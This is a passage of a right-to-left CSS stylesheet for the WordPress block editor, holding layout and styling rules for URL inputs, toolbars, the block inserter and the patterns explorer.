.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{
  justify-content:flex-end;
  padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus);
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{
  padding:0;
  width:auto;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{
  margin:0;
  width:100%;
}
.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{
  padding:8px 0 0;
}

.block-editor-media-flow__error{
  max-width:255px;
  padding:0 20px 20px;
}
.block-editor-media-flow__error .components-with-notices-ui{
  max-width:255px;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{
  overflow:hidden;
  word-wrap:break-word;
}
.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{
  left:10px;
  position:absolute;
}

.block-editor-multi-selection-inspector__card{
  align-items:flex-start;
  display:flex;
  padding:16px;
}

.block-editor-multi-selection-inspector__card-content{
  flex-grow:1;
}

.block-editor-multi-selection-inspector__card-title{
  font-weight:500;
  margin-bottom:5px;
}

.block-editor-multi-selection-inspector__card-description{
  font-size:13px;
}

.block-editor-multi-selection-inspector__card .block-editor-block-icon{
  height:24px;
  margin-left:10px;
  margin-right:-2px;
  padding:0 3px;
  width:36px;
}

.block-editor-responsive-block-control{
  border-bottom:1px solid #ccc;
  margin-bottom:28px;
  padding-bottom:14px;
}
.block-editor-responsive-block-control:last-child{
  border-bottom:0;
  padding-bottom:0;
}

.block-editor-responsive-block-control__title{
  margin:0 -3px .6em 0;
}

.block-editor-responsive-block-control__label{
  font-weight:600;
  margin-bottom:.6em;
  margin-right:-3px;
}

.block-editor-responsive-block-control__inner{
  margin-right:-1px;
}

.block-editor-responsive-block-control__toggle{
  margin-right:1px;
}

.block-editor-responsive-block-control .components-base-control__help{
  border:0;
  clip:rect(1px, 1px, 1px, 1px);
  -webkit-clip-path:inset(50%);
          clip-path:inset(50%);
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  word-wrap:normal !important;
}

.components-popover.block-editor-rich-text__inline-format-toolbar{
  z-index:99998;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{
  box-shadow:none;
  margin-bottom:8px;
  min-width:auto;
  outline:none;
  width:auto;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{
  border-radius:2px;
}
.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{
  min-height:48px;
  min-width:48px;
  padding-left:12px;
  padding-right:12px;
}

.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{
  justify-content:center;
}

.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{
  content:attr(aria-label);
}

.block-editor-skip-to-selected-block{
  position:absolute;
  top:-9999em;
}
.block-editor-skip-to-selected-block:focus{
  background:#f1f1f1;
  box-shadow:0 0 2px 2px #0009;
  color:var(--wp-admin-theme-color);
  display:block;
  font-size:14px;
  font-weight:600;
  height:auto;
  line-height:normal;
  outline:none;
  padding:15px 23px 14px;
  text-decoration:none;
  width:auto;
  z-index:100000;
}

.block-editor-text-decoration-control{
  border:0;
  margin:0;
  padding:0;
}
.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons{
  display:flex;
  padding:4px 0;
}
.block-editor-text-decoration-control .components-button.has-icon{
  height:32px;
  margin-left:4px;
  min-width:32px;
  padding:0;
}

.block-editor-text-transform-control{
  border:0;
  margin:0;
  padding:0;
}
.block-editor-text-transform-control .block-editor-text-transform-control__buttons{
  display:flex;
  padding:4px 0;
}
.block-editor-text-transform-control .components-button.has-icon{
  height:32px;
  margin-left:4px;
  min-width:32px;
  padding:0;
}

.block-editor-tool-selector__help{
  border-top:1px solid #ddd;
  color:#757575;
  margin:8px -8px -8px;
  min-width:280px;
  padding:16px;
}

.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{
  flex-grow:1;
  padding:1px;
  position:relative;
}
.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{
  font-size:16px;
  margin-left:0;
  margin-right:0;
  padding:8px 12px 8px 8px;
  width:100%;
}
@media (min-width:600px){
  .block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{
    font-size:13px;
    width:300px;
  }
}
.block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear,.block-editor-url-input input[type=text]::-ms-clear,.components-popover .block-editor-url-input input[type=text]::-ms-clear{
  display:none;
}
.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.components-popover .block-editor-url-input.is-full-width__suggestions{
  width:100%;
}
.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{
  left:8px;
  margin:0;
  position:absolute;
  top:calc(50% - 8px);
}

.block-editor-url-input__input[type=text]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:6px 8px;
  transition:box-shadow .1s linear;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-url-input__input[type=text]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .block-editor-url-input__input[type=text]{
    font-size:13px;
    line-height:normal;
  }
}
.block-editor-url-input__input[type=text]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.block-editor-url-input__input[type=text]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.block-editor-url-input__input[type=text]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.block-editor-url-input__input[type=text]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.block-editor-url-input__suggestions{
  max-height:200px;
  overflow-y:auto;
  padding:4px 0;
  transition:all .15s ease-in-out;
  width:302px;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-url-input__suggestions{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
  display:none;
}
@media (min-width:600px){
  .block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{
    display:grid;
  }
}

.block-editor-url-input__suggestion{
  background:#fff;
  border:none;
  box-shadow:none;
  color:#757575;
  cursor:pointer;
  display:block;
  font-size:13px;
  height:auto;
  min-height:36px;
  text-align:right;
  width:100%;
}
.block-editor-url-input__suggestion:hover{
  background:#ddd;
}
.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{
  background:var(--wp-admin-theme-color-darker-20);
  color:#fff;
  outline:none;
}

.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{
  position:inherit;
}

.block-editor-url-input__button .block-editor-url-input__back{
  margin-left:4px;
  overflow:visible;
}
.block-editor-url-input__button .block-editor-url-input__back:after{
  background:#ddd;
  content:"";
  display:block;
  height:24px;
  left:-1px;
  position:absolute;
  width:1px;
}

.block-editor-url-input__button-modal{
  background:#fff;
  border:1px solid #ddd;
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
}

.block-editor-url-input__button-modal-line{
  align-items:flex-start;
  display:flex;
  flex-direction:row;
  flex-grow:1;
  flex-shrink:1;
  min-width:0;
}
.block-editor-url-input__button-modal-line .components-button{
  flex-shrink:0;
  height:36px;
  width:36px;
}

.block-editor-url-popover__additional-controls{
  border-top:1px solid #1e1e1e;
  padding:8px;
}

.block-editor-url-popover__input-container{
  padding:8px;
}

.block-editor-url-popover__row{
  display:flex;
  gap:4px;
}

.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){
  flex-grow:1;
  gap:8px;
}

.block-editor-url-popover__additional-controls .components-button.has-icon{
  height:auto;
  padding-left:8px;
  padding-right:8px;
  text-align:right;
}
.block-editor-url-popover__additional-controls .components-button.has-icon>svg{
  margin-left:8px;
}

.block-editor-url-popover__settings-toggle{
  flex-shrink:0;
}
.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{
  transform:rotate(-180deg);
}

.block-editor-url-popover__settings{
  border-top:1px solid #1e1e1e;
  display:block;
  padding:16px;
}

.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{
  display:flex;
}

.block-editor-url-popover__link-viewer-url{
  align-items:center;
  display:flex;
  flex-grow:1;
  flex-shrink:1;
  margin-left:8px;
  max-width:350px;
  min-width:150px;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.block-editor-url-popover__link-viewer-url.has-invalid-link{
  color:#cc1818;
}

.block-editor-url-popover__expand-on-click{
  align-items:center;
  display:flex;
  min-width:350px;
  white-space:nowrap;
}
.block-editor-url-popover__expand-on-click .text{
  flex-grow:1;
}
.block-editor-url-popover__expand-on-click .text p{
  line-height:16px;
  margin:0;
}
.block-editor-url-popover__expand-on-click .text p.description{
  color:#757575;
  font-size:12px;
}

.html-anchor-control .components-external-link{
  display:block;
  margin-top:8px;
}
.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack{
  flex-direction:row-reverse;
}
.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{
  flex-direction:row;
}
.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:16px;
}

.block-editor-hooks__background__inspector-media-replace-container{
  position:relative;
}
.block-editor-hooks__background__inspector-media-replace-container .components-drop-zone__content-icon{
  display:none;
}
.block-editor-hooks__background__inspector-media-replace-container button.components-button{
  box-shadow:inset 0 0 0 1px #ddd;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-editor-hooks__background__inspector-media-replace-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-editor-hooks__background__inspector-media-replace-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-editor-hooks__background__inspector-media-replace-container .block-editor-hooks__background__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}
.block-editor-hooks__background__inspector-media-replace-container .components-dropdown{
  display:block;
}

.block-editor-hooks__background__inspector-image-indicator-wrapper{
  background:#fff linear-gradient(45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  display:block;
  flex:none;
  height:20px;
  width:20px;
}
.block-editor-hooks__background__inspector-image-indicator-wrapper.has-image{
  background:#fff;
}

.block-editor-hooks__background__inspector-image-indicator{
  background-size:cover;
  border-radius:50%;
  display:block;
  height:20px;
  position:relative;
  width:20px;
}

.block-editor-hooks__background__inspector-image-indicator:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}

.border-block-support-panel .single-column{
  grid-column:span 1;
}
.color-block-support-panel .block-editor-contrast-checker{
  grid-column:span 2;
  margin-top:16px;
  order:9999;
}
.color-block-support-panel .block-editor-contrast-checker .components-notice__content{
  margin-left:0;
}
.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{
  row-gap:0;
}
.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{
  margin-top:0;
}

.dimensions-block-support-panel .single-column{
  grid-column:span 1;
}

.block-editor-hooks__layout-controls{
  display:flex;
  margin-bottom:8px;
}
.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit{
  display:flex;
  margin-left:24px;
}
.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit svg{
  margin:auto 8px 4px 0;
}

.block-editor-block-inspector .block-editor-hooks__layout-controls-unit-input{
  margin-bottom:0;
}

.block-editor-hooks__layout-controls-reset{
  display:flex;
  justify-content:flex-end;
  margin-bottom:24px;
}

.block-editor-hooks__layout-controls-helptext{
  color:#757575;
  font-size:12px;
  margin-bottom:16px;
}

.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{
  margin-bottom:12px;
}
.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{
  margin-bottom:8px;
}

.block-editor-hooks__toggle-control.block-editor-hooks__toggle-control{
  margin-bottom:16px;
}

.block-editor__padding-visualizer{
  border-color:var(--wp-admin-theme-color);
  border-style:solid;
  bottom:0;
  box-sizing:border-box;
  left:0;
  opacity:.5;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.block-editor-hooks__position-selection__select-control .components-custom-select-control__hint{
  display:none;
}

.block-editor-hooks__position-selection__select-control__option.has-hint{
  grid-template-columns:auto 30px;
  line-height:1.4;
  margin-bottom:0;
}
.block-editor-hooks__position-selection__select-control__option .components-custom-select-control__item-hint{
  grid-row:2;
  text-align:right;
}

.typography-block-support-panel .single-column{
  grid-column:span 1;
}
.block-editor-block-toolbar{
  display:flex;
  flex-grow:1;
  overflow-x:auto;
  overflow-y:hidden;
  position:relative;
  transition:border-color .1s linear,box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-block-toolbar{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .block-editor-block-toolbar{
    overflow:inherit;
  }
}
.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{
  background:none;
  border:0;
  border-left:1px solid #ddd;
  line-height:0;
  margin-bottom:-1px;
  margin-top:-1px;
}
.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{
  color:var(--wp-block-synced-color);
}
.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{
  border-left:none;
}

.block-editor-block-contextual-toolbar{
  background-color:#fff;
  display:block;
  flex-shrink:3;
  position:sticky;
  top:0;
  width:100%;
  z-index:31;
}
.block-editor-block-contextual-toolbar.components-accessible-toolbar{
  border:none;
  border-bottom:1px solid #e0e0e0;
  border-radius:0;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar{
  overflow:auto;
  overflow-y:hidden;
  scrollbar-color:#e0e0e0 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{
  background-color:initial;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:#e0e0e0;
  border:3px solid #0000;
  border-radius:8px;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .block-editor-block-contextual-toolbar .block-editor-block-toolbar{
    scrollbar-color:#949494 #0000;
  }
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{
  display:none;
}
.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group{
  border-left-color:#e0e0e0;
}
.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{
  flex-grow:0;
  width:auto;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{
  margin-bottom:-1px;
  margin-top:-1px;
  position:relative;
}
.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{
  align-items:center;
  content:"·";
  display:inline-flex;
  font-size:16px;
  height:32px;
  left:0;
  position:absolute;
  top:0;
}

.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  margin:0 !important;
  width:24px !important;
}
.block-editor-block-toolbar__block-controls .components-toolbar-group{
  padding:0;
}

.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{
  display:flex;
  flex-wrap:nowrap;
}

.block-editor-block-toolbar__slot{
  display:inline-block;
  line-height:0;
}
@supports (position:sticky){
  .block-editor-block-toolbar__slot{
    display:inline-flex;
  }
}

.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{
  width:auto;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}
.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{
  height:0 !important;
  min-width:0 !important;
  width:0 !important;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{
  border-bottom-left-radius:0;
  border-top-left-radius:0;
  padding-left:12px;
  padding-right:12px;
  text-wrap:nowrap;
}
.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{
  width:0;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{
  position:relative;
  width:auto;
}
@media (min-width:600px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#e0e0e0;
    content:"";
    height:1px;
    margin-top:-.5px;
    position:absolute;
    right:50%;
    top:50%;
    transform:translate(50%);
    width:100%;
  }
}
@media (min-width:782px){
  .show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{
    background:#1e1e1e;
  }
}
.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{
  padding-left:6px;
  padding-right:6px;
}
.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button{
  padding-left:8px;
  padding-right:8px;
}
.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{
  border-right:1px solid #ddd;
  margin-left:-6px;
  margin-right:6px;
  white-space:nowrap;
}
.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{
  padding-left:12px;
  padding-right:12px;
}
.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{
  width:auto;
}
.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{
  flex-shrink:1;
}
.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{
  margin-right:6px;
}

.block-editor-inserter{
  background:none;
  border:none;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:0;
  padding:0;
}
@media (min-width:782px){
  .block-editor-inserter{
    position:relative;
  }
}

.block-editor-inserter__main-area{
  display:flex;
  flex-direction:column;
  gap:16px;
  height:100%;
  overflow-y:hidden;
  position:relative;
}
.block-editor-inserter__main-area.show-as-tabs{
  gap:0;
}
@media (min-width:782px){
  .block-editor-inserter__main-area{
    width:350px;
  }
}

.block-editor-inserter__popover.is-quick .components-popover__content{
  border:none;
  box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;
  outline:none;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{
  border-left:1px solid #ccc;
  border-right:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{
  border-radius:2px 2px 0 0;
  border-top:1px solid #ccc;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{
  border-bottom:1px solid #ccc;
  border-radius:0 0 2px 2px;
}
.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{
  border:1px solid #1e1e1e;
}

.block-editor-inserter__popover .block-editor-inserter__menu{
  margin:-12px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs div[role=tablist]{
  top:60px;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{
  height:auto;
  overflow:visible;
}
.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{
  display:none;
}

.block-editor-inserter__toggle.components-button{
  align-items:center;
  border:none;
  cursor:pointer;
  display:inline-flex;
  outline:none;
  padding:0;
  transition:color .2s ease;
}
@media (prefers-reduced-motion:reduce){
  .block-editor-inserter__toggle.components-button{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.block-editor-inserter__menu{
  height:100%;
  overflow:visible;
  position:relative;
}

.block-editor-inserter__inline-elements{
  margin-top:-1px;
}

.block-editor-inserter__menu.is-bottom:after{
  border-bottom-color:#fff;
}

.components-popover.block-editor-inserter__popover{
  z-index:99999;
}

.block-editor-inserter__search{
  padding:16px 16px 0;
}

.block-editor-inserter__tabs{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}
.block-editor-inserter__tabs div[role=tablist]{
  border-bottom:1px solid #ddd;
}
.block-editor-inserter__tabs div[role=tablist] button[role=tab]{
  flex-grow:1;
  margin-bottom:-1px;
}
.block-editor-inserter__tabs div[role=tablist] button[role=tab][id$=reusable]{
  flex-grow:inherit;
  padding-left:16px;
  padding-right:16px;
}
.block-editor-inserter__tabs div[role=tabpanel]{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow-y:auto;
}

.block-editor-inserter__no-tab-container{
  flex-grow:1;
  overflow-y:auto;
}

.block-editor-inserter__panel-header{
  align-items:center;
  display:inline-flex;
  padding:16px 16px 0;
}

.block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{
  color:#757575;
  font-size:11px;
  font-weight:500;
  margin:0 0 0 12px;
  text-transform:uppercase;
}

.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{
  height:36px;
  line-height:36px;
}

.block-editor-inserter__panel-dropdown select{
  border:none;
}

.block-editor-inserter__reusable-blocks-panel{
  position:relative;
  text-align:left;
}

.block-editor-inserter__manage-reusable-blocks-container{
  margin:auto 16px 16px;
}

.block-editor-inserter__manage-reusable-blocks{
  justify-content:center;
  width:100%;
}

.block-editor-inserter__no-results{
  padding:32px;
  text-align:center;
}

.block-editor-inserter__no-results-icon{
  fill:#949494;
}

.block-editor-inserter__child-blocks{
  padding:0 16px;
}

.block-editor-inserter__parent-block-header{
  align-items:center;
  display:flex;
}
.block-editor-inserter__parent-block-header h2{
  font-size:13px;
}
.block-editor-inserter__parent-block-header .block-editor-block-icon{
  margin-left:8px;
}

.block-editor-inserter__preview-container__popover{
  top:16px !important;
}

.block-editor-inserter__preview-container{
  display:none;
  max-height:calc(100% - 32px);
  overflow-y:hidden;
  padding:16px;
  width:280px;
}
@media (min-width:782px){
  .block-editor-inserter__preview-container{
    display:block;
  }
}
.block-editor-inserter__preview-container .block-editor-block-preview__container{
  height:100%;
}
.block-editor-inserter__preview-container .block-editor-block-card{
  padding-bottom:4px;
  padding-left:0;
  padding-right:0;
}

.block-editor-inserter__patterns-explore-button.components-button{
  justify-content:center;
  margin-top:16px;
  padding:16px;
  width:100%;
}

.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category{
  color:var(--wp-admin-theme-color);
  position:relative;
}
.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category .components-flex-item{
  filter:brightness(.95);
}
.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category svg{
  fill:var(--wp-admin-theme-color);
}
.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category:after{
  background:var(--wp-admin-theme-color);
  border-radius:2px;
  bottom:0;
  content:"";
  left:0;
  opacity:.04;
  position:absolute;
  right:0;
  top:0;
}
.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__block-patterns-tabs-container nav{
  height:100%;
}

.block-editor-inserter__block-patterns-tabs{
  display:flex;
  flex-direction:column;
  height:100%;
  overflow-y:auto;
  padding:16px;
}
.block-editor-inserter__block-patterns-tabs div[role=listitem]:last-child{
  margin-top:auto;
}
.block-editor-inserter__block-patterns-tabs .block-editor-inserter__patterns-category{
  padding-left:4px;
}

.block-editor-inserter__patterns-category-dialog{
  background:#f0f0f0;
  border-left:1px solid #e0e0e0;
  border-right:1px solid #e0e0e0;
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__patterns-category-dialog{
    display:block;
    right:100%;
    width:300px;
  }
}
.block-editor-inserter__patterns-category-dialog .block-editor-block-patterns-list{
  flex-grow:1;
  height:100%;
  overflow-y:auto;
  padding:16px 24px;
}

.block-editor-block-patterns-list__list-item .block-editor-block-preview__container{
  box-shadow:0 15px 25px #00000012;
}
.block-editor-block-patterns-list__list-item:hover .block-editor-block-preview__container{
  box-shadow:0 0 0 2px #1e1e1e,0 15px 25px #00000012;
}

.block-editor-inserter__patterns-category-panel{
  display:flex;
  flex-direction:column;
  height:100%;
  padding:0 16px;
}
@media (min-width:782px){
  .block-editor-inserter__patterns-category-panel{
    padding:0;
  }
}
.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-panel-header{
  padding:16px 24px;
}
.block-editor-inserter__patterns-category-panel .block-editor-inserter__patterns-category-no-results{
  margin-top:24px;
}

.block-editor-inserter__preview-content{
  align-items:center;
  background:#f0f0f0;
  display:grid;
  flex-grow:1;
  min-height:144px;
}

.block-editor-inserter__preview-content-missing{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  color:#757575;
  display:flex;
  flex:1;
  justify-content:center;
  min-height:144px;
}

.block-editor-inserter__tips{
  border-top:1px solid #ddd;
  flex-shrink:0;
  padding:16px;
  position:relative;
}

.block-editor-inserter__quick-inserter{
  max-width:100%;
  width:100%;
}
@media (min-width:782px){
  .block-editor-inserter__quick-inserter{
    width:350px;
  }
}

.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{
  float:right;
  height:0;
  padding:0;
}

.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{
  padding:16px;
}

.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr 1fr;
  grid-gap:8px;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}
.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-preview__container{
  min-height:100px;
}

.block-editor-inserter__quick-inserter-separator{
  border-top:1px solid #ddd;
}

.block-editor-inserter__popover.is-quick>.components-popover__content{
  padding:0;
}

.block-editor-inserter__quick-inserter-expand.components-button{
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:block;
  height:44px;
  width:100%;
}
.block-editor-inserter__quick-inserter-expand.components-button:hover{
  color:#fff;
}
.block-editor-inserter__quick-inserter-expand.components-button:active{
  color:#ccc;
}
.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  box-shadow:none;
}

.block-editor-block-patterns-explorer__sidebar{
  bottom:0;
  overflow-x:visible;
  overflow-y:scroll;
  padding:24px 32px 32px;
  position:absolute;
  right:0;
  top:72px;
  width:280px;
}
.block-editor-block-patterns-explorer__sidebar__categories-list__item{
  display:block;
  height:48px;
